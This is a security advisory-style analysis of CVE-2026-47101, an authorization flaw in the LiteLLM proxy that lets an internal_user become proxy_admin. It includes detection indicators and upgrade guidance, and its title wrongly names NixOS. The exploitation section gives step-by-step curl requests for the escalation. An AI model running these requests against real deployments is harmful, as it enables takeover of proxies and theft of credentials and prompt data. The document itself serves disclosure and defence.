CVE-2026-47101: 
NixOS 취약성 분석 및 완화

CVE-2026-47101 is a privilege escalation vulnerability in LiteLLM (the open-source LLM proxy) that allows an authenticated internal_user to gain full proxy_admin privileges by exploiting unrestricted allowed_routes handling during API key generation. All versions of LiteLLM prior to 1.83.14 are affected. The vulnerability was published on May 21, 2026, with patches released in version 1.83.14-stable. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.7 (High) (GitHub Advisory, VulnCheck Advisory).

The vulnerability is classified as CWE-863 (Incorrect Authorization) and stems from a two-flaw chain in LiteLLM's key management logic. First, the /key/generate endpoint's authorization function (_is_allowed_to_make_key_request) only validates that the user_id on the new key matches the caller's identity — it never validates that the allowed_routes field is a subset of the caller's role-permitted routes. The allowed_routes value is stored directly to the database without filtering. Second, when the generated key is subsequently used to authenticate, the route check in non_proxy_admin_allowed_routes_check() evaluates the key's allowed_routes as an independent grant rather than an intersection with role-based permissions — meaning a key with allowed_routes: ["/user/update"] bypasses the role check entirely and reaches that admin-only endpoint. Once /user/update is accessible, the /user/update endpoint itself lacks field-level authorization, allowing a non-admin to modify their own user_role to proxy_admin (PoC Write-up, Patch Commit).

Successful exploitation grants an internal_user full proxy_admin privileges, enabling complete administrative takeover of the LiteLLM proxy. An attacker can manage all users, teams, API keys, and models; access all prompt history and spend logs; and modify or revoke any configuration. Because LiteLLM acts as a gateway to multiple LLM providers, a compromised proxy admin can also expose underlying API credentials and manipulate or intercept all LLM traffic routed through the proxy (GitHub Advisory, PoC Write-up).

1. Obtain internal_user credentials: Authenticate to the LiteLLM proxy as an internal_user (any standard authenticated account with key management permissions).
2. Generate a privileged API key: Send a POST request to /key/generate with allowed_routes: ["/user/update"] in the request body. Because the endpoint does not validate that the specified routes fall within the caller's role permissions, the key is created and stored with access to the admin-only /user/update route:

curl -X POST https://<litellm-host>/key/generate \
  -H "Authorization: Bearer <internal_user_key>" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/user/update"]}'
# Save the returned key: sk-escalated-key

3. Escalate role via /user/update: Use the newly generated key to call /user/update and set user_role to proxy_admin for the attacker's own user_id:

curl -X POST https://<litellm-host>/user/update \
  -H "Authorization: Bearer sk-escalated-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "<attacker_user_id>", "user_role": "proxy_admin"}'

4. Verify escalation: Confirm the role change by calling /user/list or re-authenticating and checking the returned role:

curl -X GET https://<litellm-host>/user/list \
  -H "Authorization: Bearer sk-escalated-key"

5. Exercise admin privileges: Use the original or new keys with full proxy_admin access to manage users, teams, models, keys, and access all prompt history (PoC GitHub, PoC Write-up).

• Network/API Logs: POST requests to /key/generate from internal_user accounts containing allowed_routes fields with admin-only routes (e.g., /user/update, /user/list, management routes); POST requests to /user/update authenticated with a key that is not associated with a proxy_admin role.
• Database/Audit Logs: LiteLLM_VerificationToken records for internal_user accounts with non-empty allowed_routes containing management or admin-only route strings; unexpected user_role changes to proxy_admin in the LiteLLM_UserTable for accounts that were previously internal_user.
• Behavioral: An internal_user account successfully accessing admin-only endpoints such as /user/update, /user/list, /team/new, or /model/new; unexpected creation, modification, or deletion of users, teams, or API keys by non-admin accounts.
• Application Logs: LiteLLM proxy access logs showing 200 OK responses to management endpoints for tokens belonging to internal_user role accounts (PoC Write-up).

Upgrade LiteLLM to version 1.83.14 or later, which introduces the _check_allowed_routes_caller_permission() function that restricts non-admin users from setting allowed_routes on API keys, and adds field-level authorization to prevent non-admins from modifying sensitive fields like user_role via /user/update (LiteLLM Release). The fix is delivered across three commits: d910a95, 2220f30, and 5190bd0. As an immediate remediation step, audit all existing API keys created by internal_user accounts and revoke any with non-empty allowed_routes containing admin-only routes. There is no known configuration-based workaround for unpatched versions — upgrading is the only reliable remediation (GitHub Advisory).

The vulnerability was covered by The Hacker Wire shortly after disclosure, highlighting the API key misconfiguration angle (The Hacker Wire). VulnCheck assigned and published the advisory, and the issue was also referenced in a CISA vulnerability bulletin. Community reaction on social media (Nitter/Twitter via @threatcluster) noted the availability of public PoC code. The researcher who published the detailed write-up (13ph03nix) provided a PoC video demonstrating the full escalation chain, which received attention in security circles.